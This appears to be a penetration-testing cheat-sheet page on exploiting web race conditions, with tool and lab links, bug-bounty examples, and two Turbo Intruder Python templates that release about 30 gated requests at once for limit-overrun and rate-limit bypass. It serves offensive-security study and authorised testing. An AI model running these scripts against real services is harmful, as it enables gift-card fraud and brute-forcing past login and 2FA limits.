# Race Condition > Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language. ## Summary - [Tools](#tools) - [Labs](#labs) - [Exploit](#exploit) - [Limit-overrun](#limit-overrun) - [Rate-limit bypass](#rate-limit-bypass) - [Techniques](#techniques) - [HTTP/1.1 last-byte synchronization](#http11-last-byte-synchronization) - [HTTP/2 Single-packet attack](#http2-single-packet-attack) - [Turbo Intruder](#turbo-intruder) - [Example 1](#example-1) - [Example 2](#example-2) - [References](#references) ## Tools - [PortSwigger/turbo-intruder](https://github.com/PortSwigger/turbo-intruder) - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results. - [JavanXD/Raceocat](https://github.com/JavanXD/Raceocat) - Make exploiting race conditions in web applications highly efficient and ease-of-use. - [nxenon/h2spacex](https://github.com/nxenon/h2spacex) - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy + Exploit Timing Attacks ## Labs - [PortSwigger - Limit overrun race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun) - [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint) - [PortSwigger - Bypassing rate limits via race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits) - [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint) - [PortSwigger - Single-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) - [PortSwigger - Exploiting time-sensitive vulnerabilities](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) - [PortSwigger - Partial construction race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) ## Exploit ### Limit-overrun Overdrawing limit, multiple voting, multiple spending of a giftcard. **Examples**: - [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247) - [Race conditions can be used to bypass invitation limit - @franjkovic](https://hackerone.com/reports/115007) - [Register multiple users using one invitation - @franjkovic](https://hackerone.com/reports/148609) ### Rate-limit bypass Bypassing anti-bruteforce mechanism and 2FA. **Examples**: - [Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah](https://youtu.be/4O9FjTMlHUM) ## Techniques ### HTTP/1.1 last-byte synchronization Send every requests except the last byte, then "release" each request by sending the last byte. Execute a last-byte synchronization using Turbo Intruder ```py engine.queue(request, gate='race1') engine.queue(request, gate='race1') engine.openGate('race1') ``` **Examples**: - [Cracking reCAPTCHA, Turbo Intruder style - James Kettle](https://portswigger.net/research/cracking-recaptcha-turbo-intruder-style) ### HTTP/2 Single-packet attack In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter. - [turbo-intruder/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py) - Burp Suite - Send a request to Repeater - Duplicate the request 20 times (CTRL+R) - Create a new group and add all the requests - Send group in parallel (single-packet attack) **Examples**: - [CVE-2022-4037 - Discovering a race condition vulnerability in Gitlab with the single-packet attack - James Kettle](https://youtu.be/Y0NVIVucQNE) ## Turbo Intruder ### Example 1 1. Send request to turbo intruder 2. Use this python code as a payload of the turbo intruder ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=30, pipeline=False ) for i in range(30): engine.queue(target.req, i) engine.queue(target.req, target.baseInput, gate='race1') engine.start(timeout=5) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` 3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder 4. Click "Attack" ### Example 2 This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds. ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False ) request1 = ''' POST /target-URI-1 HTTP/1.1 Host: <REDACTED> Cookie: session=<REDACTED> parameterName=parameterValue ''' request2 = ''' GET /target-URI-2 HTTP/1.1 Host: <REDACTED> Cookie: session=<REDACTED> ''' engine.queue(request1, gate='race1') for i in range(30): engine.queue(request2, gate='race1') engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` ## References - [Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit - @ryotkak - August 2, 2024](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) - [DEF CON 31 - Smashing the State Machine the True Potential of Web Race Conditions - James Kettle (@albinowax) - September 15, 2023](https://youtu.be/tKJzsaB1ZvI) - [Exploiting Race Condition Vulnerabilities in Web Applications - Javan Rasokat - October 6, 2022](https://conference.hitb.org/hitbsecconf2022sin/materials/D2%20COMMSEC%20-%20Exploiting%20Race%20Condition%20Vulnerabilities%20in%20Web%20Applications%20-%20Javan%20Rasokat.pdf) - [New techniques and tools for web race conditions - Emma Stocks - August 10, 2023](https://portswigger.net/blog/new-techniques-and-tools-for-web-race-conditions) - [Race Condition Bug In Web App: A Use Case - Mandeep Jadon - April 24, 2018](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e) - [Race conditions on the web - Josip Franjkovic - July 12, 2016](https://www.josipfranjkovic.com/blog/race-conditions-on-web) - [Smashing the state machine: the true potential of web race conditions - James Kettle (@albinowax) - August 9, 2023](https://portswigger.net/research/smashing-the-state-machine) - [Turbo Intruder: Embracing the billion-request attack - James Kettle (@albinowax) - January 25, 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)